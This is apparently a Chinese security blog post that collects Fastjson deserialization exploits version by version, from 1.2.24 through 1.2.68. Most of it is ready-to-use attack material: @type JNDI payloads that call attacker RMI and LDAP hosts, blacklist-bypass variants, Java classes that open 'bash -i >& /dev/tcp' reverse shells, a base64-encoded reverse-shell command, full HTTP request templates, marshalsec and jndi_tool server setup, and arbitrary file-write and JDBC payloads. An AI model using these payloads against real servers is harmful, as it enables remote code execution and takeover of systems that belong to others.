Fastjson漏洞利用合集

0x01 Fastjson 概述

1.应用场景

接口返回数据

  1. Ajax异步访问数据
  2. RPC远程调用
  3. 前后端分离后端返回的数据
  4. 开放API(一些公司开放接口的时候,我们点击请求,返回的数据是JSON格式的)
  5. 企业间合作接口(数据对接的时候定义的一种规范,确定入参,出差)

序列化

将对象数据转换为JSON格式,利用JSON来实现序列化存储在磁盘中。

生成Token

也就是使用json将一些数据封装起来当做访问一些应用的令牌。

作为配置文件

eg:npm的package.json包管理配置文件

不过一般情况下使用json作为配置文件的情况很少,并不建议使用。

https://www.codeleading.com/article/82974738889/

2.黑盒测试

Fastjson是阿里巴巴公司开源的一款JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。

它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1.目标站点如果报错的话一般使用不闭合{花括号或者多添加"双引号来进行测试"  # {"

2.fastjson与jackson区别,如果请求包中的 json 如下:
{"name":"S", "age":21}
追加一个随机 key ,修改 json 为
{"name":"S", "age":21,"agsbdkjada__ss_d":123}
这里 fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能 少不能多 key,
所以会报错,服务器的响应包中多少会有异常回显

3.dos检测 dos
{"a:"\x 看返回时间

4.如果是json字符串中name字段存在反序列化
{"id":"1","name":"wangwei"}那么poc就是
{"id":"1","name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://fatjaon.tuq75v.ceye.io","autoCommit":true}}

小tips
1.在测试过程中发现只要回显比较慢,或者感觉卡顿都有可能是正在执行命令,所以比较慢
2.poc.java文件用低版本的java环境编译,因为java是向下兼容的,防止目标环境加载的时候运行报错,最好是jdk1.6

0x02 fastjson 反序列化漏洞原理

img

名词解释

@type

指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在poc中,_bytecodes_name都是私有属性,所以要想反序列化这两个,需要在parseObject()时设置Feature.SupportNonPublicField

fastjson<=1.2.24

因为不让属性,找错类型@type 引入了autotypecom.sun.rowset.JdbcRowSetImpl 一定会被读取加载

com.sun.rowset.JdbcRowSetImpl是个恶意类,默认对属性不做任何处理,导致了反序列化,可以任意执行命令

EXP

1
2
3
4
5
6
7
8
9
// exp 1.2.24

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://test.com:9999/TouchFile",
"autoCommit":true
}
}

fastjson<=1.2.41

既1.2.25版本之后设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,修复是用了白名单,后面是通过绕过白名单来进行攻击的com.sun.rowset.JdbcRowSetImpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。

EXP

1
2
3
4
5
6
7
{
"b":{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://test.com:9999/TouchFile",
"autoCommit":true
}
}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

fastjson<=1.2.42

如果输入类名的开头和结尾是L;就将头和尾去掉,再进行黑名单验证。 还把黑名单的内容进行了加密,黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist 绕过方法,在类名外部嵌套2层L;原类名:com.sun.rowset.JdbcRowSetImpl 绕过: LLcom.sun.rowset.JdbcRowSetImpl;;

EXP

1
2
3
4
5
6
7
{
"b":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://test.com:9999/TouchFile",
"autoCommit":true
}
}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

fastjson<=1.2.43

fastjson在1.2.43中checkAutoType()函数增加判断开头为LL直接报错。 绕过方法: 根据fastjson判断函数,[开头则提取类名,且后面字符字符为”[“、”{“等,即可正常调用

EXP

1
2
3
4
5
6
7
{
"b":{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"rmi://test.com:9999/TouchFile",
"autoCommit":true
}
}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

fastjson<=1.2.45

前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。 使用黑名单绕过,org.apache.ibatis.datasource1.2.46版本被加入了黑名单 由于在项目中使用的频率也较高,所以影响范围较大。

EXP

1
2
3
4
5
6
{
"b":{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{"data_source":"ldap://localhost:1389/Exploit"}
}
}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

fastjson<=1.2.47

对版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。 loadClass中默认cache设置为true

(1)首先使用java.lang.Class把获取到的类缓存到mapping中,

(2)直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制。

EXP

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}

fastjson<=1.2.62

基于黑名单绕过

1
2
3
4
{
"@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"rmi://127.0.0.1:1099/exploit"
}";

fastjson<=1.2.66

关于fastjson<=1.2.66网上相关的利用不多,收集到的几个exp,也是基于黑名单绕过。

EXP

1
2
3
4
{
"@type":"org.apache.shiro.jndi.JndiObjectFactory",
"resourceName":"ldap://192.168.80.1:1389/Calc"
}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247486298&idx=1&sn=6c0377e574db63eab2423187240d799c&scene=21#wechat_redirect

https://www.bilibili.com/video/BV1Ab4y1d7w1?spm_id_from=333.1007.top_right_bar_window_custom_collection.content.click

https://github.com/LeadroyaL/fastjson-blacklist

0x03 Fastjson 漏洞利用方式

编写EXP->启动python服务器->启动rmi 监听-> 发送poc->成功反弹shell

需要 Java 环境

编译EXP

将代码编写为class类文件,并将生成的类文件放在web目录下,并启动web服务

https://ares-x.com/tools/runtime-exec/

EXP编码 bash -c {echo,YmFzaCAtaSA+JiAgL2Rldi90Y3AvMTI3LjAuMC4xLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"});//需要进行 base64 编码
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));

String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}

p.waitFor();
is.close();
reader.close();
p.destroy();
}

public static void main(String[] args) throws Exception {
}
}

编译 EXP 并启动 python 服务器

1
2
3
4
#编译
javac Exploit.java
# python 服务
python3 -m http.server 8001

配置RMI环境

用marshalsec项目,启动一个RMI服务器,监听9999端口,并加载远程类

1
2
3
4
5
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn install
mvn clean package –DskipTests
cd target/

启动RMI服务监听

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://1.1.1.1:8888/#Exploit" 9999

备注:http://xx.xx.xx.xx:9999/#POC 是放Java类的地址,类只要写名字即可,不需要加.class,其次类名前要加#

反弹shell

把网站json数据包替换,然后发包,VPS即可收到

这里的EXP 根据Fastjson 版本不同,进行替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST / HTTP/1.1
Host: 1.1.1.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 260

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://2.2.2.2:9999/Exploit",
"autoCommit":true
}
}

0x04 各个版本利用

fastjson 1.2.24

如果弹shell 需要先搭建 rmi 服务器

127.0.0.1 换成rmi服务器地址 8653 为rmi 服务器端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: you-ip:port
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 158

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:8653/Exp",
"autoCommit":true
}
}

fastjson 1.2.47

如果弹shell 需要先搭建 rmi 服务器

127.0.0.1 换成rmi服务器地址 8653 为rmi 服务器端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST / HTTP/1.1
Host: you-ip:port
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 158

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:8653/Exp",
"autoCommit":true
}
}

fastjson burp 插件

https://github.com/zilong3033/fastjsonScan

fastjson 1.2.68

漏洞概述

在Fastjson<=1.2.68的版本中,通过新的Gadgets绕过autoType开关,在autoType关闭的情况下仍然可以绕过黑白名单防御机制,通过反序列化漏洞在服务器上执行任意代码

Fastjson爆出的绕过方法可以通杀 1.2.68 以下所有版本

1
Fastjson <= 1.2.68

POC

任意文件写入POC

1
2
3
{"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"java.io.FileOutputStream","file":"/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/charsets.jar","append":false},"infl":{"input":"xxx"},"bufLen":1048576},"protocolVersion":1}}

{"x":{"@type":"java.nio.charset.Charset","val":"500"}}

JDBC反序列化POC

1
{"@type":"java.lang.AutoCloseable", "@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"172.20.64.40","portToConnectTo":3306,"url":"jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","databaseToConnectTo":"test","info":{"@type":"java.util.Properties","PORT":"3306","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","user":"yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn","PORT.1":"3306","HOST.1":"172.20.64.40","NUM_HOSTS":"1","HOST":"172.20.64.40","DBNAME":"test"}}

0x05 Fastjson不出网利用

https://github.com/safe6Sec/Fastjson

1.服务器出网

使用jndi注入-ldap -rmi

2.服务器不能出网

  • 直接本地反序列化
  • BasicDataSource(tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4)
  • TemplatesImpl 不常用

反序列化-_bytecodes直接反序列化Poc TemplatesImpl

1
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

由于解析json需要额外添加参数Feature,因此实际情况可能不会遇到,这里只是做个记录。首先需要准备一个Poc:

创建Poc.java 代码如下 exec 为payload,使用低版本Java 执行最好是jdk8 以下的,javac Poc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Poc extends AbstractTranslet {
public Poc() throws IOException {
Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"});
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Poc t = new Poc();
}
}

new String[] 是以数组的方式传送,能执行多个命令,如果不加会报错。

在使用 python生成字节码

python fast.py

1
2
3
4
5
6
7
import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en1.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()

最终payload

将生成的字节码放入 poc.class_base64

1.2.24 payload

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["poc.class_base64"],'_name':'a.b','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}

1.2.47 payload

1
{"a": {"@type": "java.lang.Class","val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"},"b": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["poc.class_base64"],'_name': 'a.b','_tfactory': {},"_outputProperties": {},"_name": "b",        "_version": "1.0","allowedProtocols": "all"}}

org.apache.tomcat.dbcp.dbcp2.BasicDataSource

(tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4)

插件地址

https://github.com/bigsizeme/fastjson-check

一键生成链子

看不到type类型,自行往右拉。

先config 选择 然后Generte Echo payload

img

img

https://jishuin.proginn.com/p/763bfbd63f5d

https://cloud.tencent.com/developer/article/1785575

https://xz.aliyun.com/t/7104

0x06 综合利用脚本

https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/jndi_tool.jar

1
java -cp fastjson_tool.jar fastjson.HRMIServer 1.1.1.1 8888 "bash=bash -i >&/dev/tcp/x.x.x.x/80 0>&1"

官网 https://github.com/wyzxxz/jndi_tool

参考链接

https://jishuin.proginn.com/p/763bfbd63f5d Fastjson三条利用链

https://www.cnblogs.com/pickmea/p/15157189.html

https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg

https://zeo.cool/2020/07/04/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93!fastjson%E5%B0%8F%E4%BA%8E1.2.68%E5%85%A8%E6%BC%8F%E6%B4%9ERCE%E5%88%A9%E7%94%A8exp/

https://www.cnblogs.com/hei-zi/p/13274272.html